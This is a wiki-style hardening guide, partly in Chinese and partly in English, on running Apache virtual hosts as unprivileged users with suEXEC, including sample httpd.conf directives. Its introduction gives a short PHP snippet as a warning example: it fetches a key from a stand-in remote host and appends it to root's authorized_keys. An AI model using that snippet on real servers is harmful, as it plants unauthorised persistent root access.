Apache, suEXEC and Virtual Hosts (Español)

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Apache, SuExec and virtual Hosts

这个文档描述了如何去使用Apache的SuExec模块去架设虚拟主机运行在普通用户权限下. 通常情况下不让webspace用友超级权限是一个良好的习惯,就像下面这段brutal PHP代码显示的那样:

     # of course this link doesn't lead anywhere
     $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub');
     exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys");

你同意这个观点吗? 为了预防这一点,绝对不要让你的虚拟主机拥有任何写入数据的权限除了在他自己的主目录下. Unfortunately this method requires Apache to run as superuser in order to be able to become another user but it's not a big deal since you do not need to run in the default DocumentRoot as superuser too.

You should also consider using SuExec if you intend to have several FTP accounts pointing to those webspaces which need write permissions while the files still can be read by Apache.


  • you should be familiar with basic configuration of Apache
    • especially virtual hosts
  • superuser access to the target box
  • knowledge about adding users
  • can work with pacman

Adding SuExec module to Apache

  • load the SuExec module in /etc/httpd/conf/httpd.conf like this
LoadModule suexec_module        lib/apache/mod_suexec.so
  • make sure Apache's default DocumentRoot does not run as superuser either!
 User http
 Group http

Setting up a virtual Host to use SuExec

One way to do it is directly in /etc/httpd/conf/httpd.conf but I suggest to use a separate file if you intend to create more than just a couple of virtual hosts. Either way, a virtual host that is supposed to use SuExec may look something like this:

        ServerName myhost
        ServerAlias  myhost.localdomain
        # this is where requests for / go
        DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs

        # here you tell which user (myhost) and group (ftponly) Apache should use
        SuexecUserGroup myhost ftponly

        # the following are optional but might be of use for you
        ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
        php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
        php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/tmp
        # Safe mode will be removed as of PHP 6. You may want to not enable it.
        php_admin_flag safe_mode On
        ErrorDocument 404 /home/www/vhosts/myhost.localdomain
        <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
                AllowOverride None
                Order allow,deny
                Allow from all
                Options +SymlinksIfOwnerMatch +Includes

Note that we set upload_tmp_dir to a folder that is outside the document root of your web site (not /home/www/vhosts/myhost.localdomain/htdocs/tmp). It should also be not readable or writable by any other system users. This is for security reasons: this way it cannot be modified or overwritten while PHP is processing it.

"Disabling" default DocumentRoot

To further harden your setup you can disable the default DocumentRoot in order to not have Apache execute anything as the superuser itself runs as. This procedure does not really disable it, rather points it somewhere where it's not remotely accessible anymore. It can be easily achieved by replacing your default ServerName with the following:

 ServerName localhost:80

Finishing up

Like everytime you change default configuration parameters you need to restart Apache in order to make them have any effect.

 /etc/rc.d/httpd restart

External References

Author: kth5